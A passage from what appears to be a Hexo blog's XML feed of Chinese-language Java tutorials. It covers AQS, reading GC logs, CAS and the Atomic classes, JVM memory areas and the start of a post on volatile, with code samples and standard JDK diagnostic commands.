class="line">                <span class="type">int</span> <span class="variable">available</span> <span class="operator">=</span> getState();</span><br><span class="line">                <span class="type">int</span> <span class="variable">remaining</span> <span class="operator">=</span> available - acquires;</span><br><span class="line">                <span class="keyword">if</span> (remaining &lt; <span class="number">0</span> ||</span><br><span class="line">                    compareAndSetState(available, remaining))</span><br><span class="line">                    <span class="keyword">return</span> remaining;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="AQS-的设计精髓"><a href="#AQS-的设计精髓" class="headerlink" title="AQS 的设计精髓"></a>AQS 的设计精髓</h2><ol><li><strong>模板方法模式</strong>：定义算法骨架，子类实现具体逻辑</li><li><strong>CLH 变体队列</strong>：FIFO 保证公平性</li><li><strong>状态驱动</strong>：state 的语义由子类定义</li><li><strong>自旋 + 阻塞</strong>：先自旋尝试，避免不必要的上下文切换</li><li><strong>LockSupport</strong>：使用 park/unpark 精确控制线程阻塞和唤醒</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>并发工具</th><th>AQS 模式</th><th>state 语义</th></tr></thead><tbody><tr><td>ReentrantLock</td><td>独占</td><td>重入次数</td></tr><tr><td>ReentrantReadWriteLock</td><td>独占+共享</td><td>高16位读锁，低16位写锁</td></tr><tr><td>CountDownLatch</td><td>共享</td><td>剩余计数</td></tr><tr><td>Semaphore</td><td>共享</td><td>剩余信号量</td></tr><tr><td>CyclicBarrier</td><td>独占</td><td>代+计数</td></tr></tbody></table><p>AQS 将复杂的线程排队、阻塞、唤醒逻辑封装起来，让并发工具的开发者只需关注”什么条件下获取/释放成功”这一核心逻辑。这是设计模式与并发编程的完美结合。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC-日志怎么看才有用"><a href="#GC-日志怎么看才有用" class="headerlink" title="GC 日志怎么看才有用"></a>GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CAS与原子操作类Atomic</title>
      <link href="//cas-yu-yuan-zi-cao-zuo-lei-atomic/"/>
      <url>//cas-yu-yuan-zi-cao-zuo-lei-atomic/</url>
      
        <content type="html"><![CDATA[<h1 id="CAS与原子操作类Atomic"><a href="#CAS与原子操作类Atomic" class="headerlink" title="CAS与原子操作类Atomic"></a>CAS与原子操作类Atomic</h1><p>CAS（Compare And Swap）是并发编程的底层基石，Java 的原子类都基于 CAS 实现。本文从原理到应用全面解析。</p><h2 id="CAS-原理"><a href="#CAS-原理" class="headerlink" title="CAS 原理"></a>CAS 原理</h2><p>CAS 是一条 CPU 原子指令，包含三个操作数：</p><ul><li><strong>内存位置 V</strong></li><li><strong>预期值 A</strong></li><li><strong>新值 B</strong></li></ul><p>当且仅当 V 的值等于 A 时，才将 V 的值更新为 B，否则什么都不做。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">while (true) &#123;</span><br><span class="line">    int current = get();      // 读取当前值</span><br><span class="line">    int newValue = current + 1;  // 计算新值</span><br><span class="line">    if (compareAndSwap(current, newValue)) &#123;  // CAS操作</span><br><span class="line">        break;  // 成功</span><br><span class="line">    &#125;</span><br><span class="line">    // 失败，重试</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Java-中的-CAS-实现"><a href="#Java-中的-CAS-实现" class="headerlink" title="Java 中的 CAS 实现"></a>Java 中的 CAS 实现</h2><h3 id="Unsafe-类"><a href="#Unsafe-类" class="headerlink" title="Unsafe 类"></a>Unsafe 类</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Unsafe</span> &#123;</span><br><span class="line">    <span class="comment">// 比较并交换对象字段</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">native</span> <span class="type">boolean</span> <span class="title function_">compareAndSwapObject</span><span class="params">(Object o, <span class="type">long</span> offset, Object expected, Object x)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 比较并交换int</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">native</span> <span class="type">boolean</span> <span class="title function_">compareAndSwapInt</span><span class="params">(Object o, <span class="type">long</span> offset, <span class="type">int</span> expected, <span class="type">int</span> x)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 比较并交换long</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">native</span> <span class="type">boolean</span> <span class="title function_">compareAndSwapLong</span><span class="params">(Object o, <span class="type">long</span> offset, <span class="type">long</span> expected, <span class="type">long</span> x)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：<code>Unsafe</code> 不能直接调用，原子类内部使用。</p><h2 id="Atomic-原子类家族"><a href="#Atomic-原子类家族" class="headerlink" title="Atomic 原子类家族"></a>Atomic 原子类家族</h2><h3 id="基本类型"><a href="#基本类型" class="headerlink" title="基本类型"></a>基本类型</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">AtomicInteger</span> <span class="variable">ai</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 原子递增</span></span><br><span class="line"><span class="type">int</span> <span class="variable">newVal</span> <span class="operator">=</span> ai.incrementAndGet();  <span class="comment">// ++i</span></span><br><span class="line"><span class="type">int</span> <span class="variable">oldVal</span> <span class="operator">=</span> ai.getAndIncrement();  <span class="comment">// i++</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 原子递减</span></span><br><span class="line">ai.decrementAndGet();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 原子加法</span></span><br><span class="line">ai.addAndGet(<span class="number">5</span>);      <span class="comment">// +5后返回</span></span><br><span class="line">ai.getAndAdd(<span class="number">5</span>);      <span class="comment">// 返回原值，再加5</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// CAS操作</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">success</span> <span class="operator">=</span> ai.compareAndSet(<span class="number">0</span>, <span class="number">1</span>);  <span class="comment">// 当前为0则设为1</span></span><br></pre></td></tr></table></figure><h3 id="数组类型"><a href="#数组类型" class="headerlink" title="数组类型"></a>数组类型</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">AtomicIntegerArray</span> <span class="variable">array</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicIntegerArray</span>(<span class="number">10</span>);</span><br><span class="line"></span><br><span class="line">array.set(<span class="number">0</span>, <span class="number">100</span>);</span><br><span class="line"><span class="type">int</span> <span class="variable">val</span> <span class="operator">=</span> array.incrementAndGet(<span class="number">0</span>);  <span class="comment">// 对索引0原子+1</span></span><br></pre></td></tr></table></figure><h3 id="引用类型"><a href="#引用类型" class="headerlink" title="引用类型"></a>引用类型</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">AtomicReference&lt;User&gt; ref = <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 原子更新引用</span></span><br><span class="line">ref.set(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;张三&quot;</span>));</span><br><span class="line"><span class="type">User</span> <span class="variable">old</span> <span class="operator">=</span> ref.getAndSet(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;李四&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// CAS更新</span></span><br><span class="line"><span class="type">User</span> <span class="variable">expected</span> <span class="operator">=</span> ref.get();</span><br><span class="line">ref.compareAndSet(expected, <span class="keyword">new</span> <span class="title class_">User</span>(<span class="string">&quot;王五&quot;</span>));</span><br></pre></td></tr></table></figure><h3 id="字段更新器"><a href="#字段更新器" class="headerlink" title="字段更新器"></a>字段更新器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> age;  <span class="comment">// 必须用volatile</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">AtomicIntegerFieldUpdater&lt;User&gt; updater = </span><br><span class="line">    AtomicIntegerFieldUpdater.newUpdater(User.class, <span class="string">&quot;age&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line">updater.incrementAndGet(user);  <span class="comment">// 对user.age原子+1</span></span><br></pre></td></tr></table></figure><h3 id="累加器（JDK-8-）"><a href="#累加器（JDK-8-）" class="headerlink" title="累加器（JDK 8+）"></a>累加器（JDK 8+）</h3><p>高并发场景下比 AtomicLong 性能更好：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">LongAdder</span> <span class="variable">adder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">LongAdder</span>();</span><br><span class="line">adder.increment();</span><br><span class="line">adder.add(<span class="number">100</span>);</span><br><span class="line"><span class="type">long</span> <span class="variable">sum</span> <span class="operator">=</span> adder.sum();</span><br></pre></td></tr></table></figure><p><strong>原理</strong>：内部维护 Cell 数组，线程分散到不同 Cell 上累加，最后求和。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">LongAccumulator</span> <span class="variable">accumulator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">LongAccumulator</span>(Long::max, <span class="number">0</span>);</span><br><span class="line">accumulator.accumulate(<span class="number">100</span>);</span><br><span class="line">accumulator.accumulate(<span class="number">200</span>);</span><br><span class="line"><span class="type">long</span> <span class="variable">max</span> <span class="operator">=</span> accumulator.get();  <span class="comment">// 200</span></span><br></pre></td></tr></table></figure><h2 id="ABA-问题"><a href="#ABA-问题" class="headerlink" title="ABA 问题"></a>ABA 问题</h2><h3 id="什么是-ABA-问题"><a href="#什么是-ABA-问题" class="headerlink" title="什么是 ABA 问题"></a>什么是 ABA 问题</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">线程A读取值A</span><br><span class="line">线程B将A改为B，又改回A</span><br><span class="line">线程A的CAS操作成功，但实际上值已经被修改过</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 栈的ABA问题示例</span></span><br><span class="line">AtomicReference&lt;Node&gt; top = <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程A：</span></span><br><span class="line"><span class="type">Node</span> <span class="variable">node1</span> <span class="operator">=</span> top.get();  <span class="comment">// 读取top=A</span></span><br><span class="line"><span class="comment">// ... 被中断 ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程B：</span></span><br><span class="line">top.compareAndSet(A, B);  <span class="comment">// A-&gt;B</span></span><br><span class="line">top.compareAndSet(B, A);  <span class="comment">// B-&gt;A（A被重新压入）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程A恢复：</span></span><br><span class="line">top.compareAndSet(A, newNode);  <span class="comment">// 成功！但栈结构已变化</span></span><br></pre></td></tr></table></figure><h3 id="解决方案：AtomicStampedReference"><a href="#解决方案：AtomicStampedReference" class="headerlink" title="解决方案：AtomicStampedReference"></a>解决方案：AtomicStampedReference</h3><p>增加版本号（stamp）控制：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">AtomicStampedReference&lt;String&gt; ref = </span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">AtomicStampedReference</span>&lt;&gt;(<span class="string">&quot;A&quot;</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">int</span>[] stampHolder = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">1</span>];</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> ref.get(stampHolder);</span><br><span class="line"><span class="type">int</span> <span class="variable">stamp</span> <span class="operator">=</span> stampHolder[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 更新时需要匹配值和版本号</span></span><br><span class="line">ref.compareAndSet(<span class="string">&quot;A&quot;</span>, <span class="string">&quot;B&quot;</span>, stamp, stamp + <span class="number">1</span>);</span><br></pre></td></tr></table></figure><h3 id="AtomicMarkableReference"><a href="#AtomicMarkableReference" class="headerlink" title="AtomicMarkableReference"></a>AtomicMarkableReference</h3><p>另一种方案，使用 boolean 标记：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">AtomicMarkableReference&lt;String&gt; ref = </span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">AtomicMarkableReference</span>&lt;&gt;(<span class="string">&quot;A&quot;</span>, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">boolean</span>[] markHolder = <span class="keyword">new</span> <span class="title class_">boolean</span>[<span class="number">1</span>];</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> ref.get(markHolder);</span><br><span class="line"></span><br><span class="line">ref.compareAndSet(<span class="string">&quot;A&quot;</span>, <span class="string">&quot;B&quot;</span>, <span class="literal">false</span>, <span class="literal">true</span>);</span><br></pre></td></tr></table></figure><h2 id="CAS-的优缺点"><a href="#CAS-的优缺点" class="headerlink" title="CAS 的优缺点"></a>CAS 的优缺点</h2><h3 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h3><ol><li><strong>无锁</strong>：没有线程阻塞和唤醒开销</li><li><strong>高性能</strong>：竞争不激烈时效率极高</li><li><strong>原子性</strong>：硬件级别保证</li></ol><h3 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h3><ol><li><strong>自旋开销</strong>：竞争激烈时 CPU 空转</li><li><strong>ABA 问题</strong>：需要额外处理</li><li><strong>只能保证单个变量原子性</strong>：无法解决多变量一致性问题</li></ol><h2 id="性能对比"><a href="#性能对比" class="headerlink" title="性能对比"></a>性能对比</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 场景：10个线程各累加100000次</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// synchronized</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">long</span> count1;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">increment1</span><span class="params">()</span> &#123; count1++; &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// AtomicLong</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">AtomicLong</span> <span class="variable">count2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicLong</span>(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment2</span><span class="params">()</span> &#123; count2.incrementAndGet(); &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// LongAdder（推荐）</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">LongAdder</span> <span class="variable">count3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">LongAdder</span>();</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment3</span><span class="params">()</span> &#123; count3.increment(); &#125;</span><br></pre></td></tr></table></figure><table><thead><tr><th>实现</th><th>低竞争</th><th>高竞争</th></tr></thead><tbody><tr><td>synchronized</td><td>中</td><td>差</td></tr><tr><td>AtomicLong</td><td>好</td><td>差（大量自旋）</td></tr><tr><td>LongAdder</td><td>好</td><td>很好（分散竞争）</td></tr></tbody></table><h2 id="实际应用场景"><a href="#实际应用场景" class="headerlink" title="实际应用场景"></a>实际应用场景</h2><h3 id="1-计数器"><a href="#1-计数器" class="headerlink" title="1. 计数器"></a>1. 计数器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConcurrentCounter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">LongAdder</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">LongAdder</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">        count.increment();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.sum();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-序列号生成"><a href="#2-序列号生成" class="headerlink" title="2. 序列号生成"></a>2. 序列号生成</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">IdGenerator</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicLong</span> <span class="variable">sequence</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicLong</span>(<span class="number">0</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">nextId</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> sequence.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-乐观锁实现"><a href="#3-乐观锁实现" class="headerlink" title="3. 乐观锁实现"></a>3. 乐观锁实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OptimisticLock</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AtomicStampedReference&lt;Data&gt; ref;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">update</span><span class="params">(Data newData)</span> &#123;</span><br><span class="line">        <span class="type">int</span>[] stamp = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">1</span>];</span><br><span class="line">        <span class="type">Data</span> <span class="variable">current</span> <span class="operator">=</span> ref.get(stamp);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 处理数据...</span></span><br><span class="line">        <span class="type">Data</span> <span class="variable">processed</span> <span class="operator">=</span> process(current, newData);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// CAS更新</span></span><br><span class="line">        <span class="keyword">if</span> (!ref.compareAndSet(current, processed, stamp[<span class="number">0</span>], stamp[<span class="number">0</span>] + <span class="number">1</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ConcurrentModificationException</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>CAS 是无锁并发的基础，Java 通过 <code>sun.misc.Unsafe</code> 提供 CAS 能力，上层封装了丰富的原子类：</p><ul><li><strong>AtomicXxx</strong>：基本类型原子操作</li><li><strong>AtomicXxxArray</strong>：数组原子操作</li><li><strong>AtomicReference</strong>：引用原子操作</li><li><strong>AtomicStampedReference</strong>：解决 ABA 问题</li><li><strong>LongAdder/LongAccumulator</strong>：高并发累加器</li></ul><p>在竞争激烈的高并发场景下，优先使用 <code>LongAdder</code> 替代 <code>AtomicLong</code>。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM-内存区域从入门到排查"><a href="#JVM-内存区域从入门到排查" class="headerlink" title="JVM 内存区域从入门到排查"></a>JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile能保证什么不能保证什么"><a href="#volatile能保证什么不能保证什么" class="headerlink" title="volatile能保证什么不能保证什么"></a>volatile能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="volatile-能保证什么"><a href="#volatile-能保证什么" class="headerlink" title="volatile 能保证什么"></a>volatile 能保证什么</h2><p>#</p><h2 id="1-可见性（Visibility）"><a href="#1-可见性（Visibility）" class="headerlink" title="1. 可见性（Visibility）"></a>1. 可见性（Visibility）</h2><p>一个线程修改了 volatile 变量，其他线程能立即看到最新值。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VisibilityExample</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">boolean</span> <span class="variable">flag</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">writer</span><span class="params">()</span> &#123;</span><br><span class="line">        flag = <span class="literal">true</span>;  <span class="comment">// 写volatile变量</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">reader</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (!flag) &#123;  <span class="comment">// 读volatile变量</span></span><br><span class="line">            <span class="comment">// 等待</span></span><br><span class="line">        &#125;</span><br><span class="line">        System.out.println(<span class="string">&quot;看到flag=true&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>原理</strong>：</p><ul><li>写 volatile：JMM 会将该线程本地内存中的共享变量刷新到主内存</li><li>读 volatile：JMM 会将该线程本地内存中的共享变量置为无效，从主内存读取</li></ul><p>#</p><h2 id="2-禁止指令重排序（Ordering）"><a href="#2-禁止指令重排序（Ordering）" class="headerlink" title="2. 禁止指令重排序（Ordering）"></a>2. 禁止指令重排序（Ordering）</h2><p>volatile 禁止编译器和 CPU 对指令进行重排序：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">volatile</span> <span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"><span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程A</span></span><br><span class="line">b = <span class="number">1</span>;      <span class="comment">// (1)</span></span><br><span class="line">a = <span class="number">2</span>;      <span class="comment">// (2) volatile写</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程B</span></span><br><span class="line"><span class="keyword">if</span> (a == <span class="number">2</span>) &#123;   <span class="comment">// (3) volatile读</span></span><br><span class="line">    System.out.println(b);  <span class="comment">// (4) 保证看到b=1</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>规则</strong>：</p><ul><li>(1) 不会被重排序到 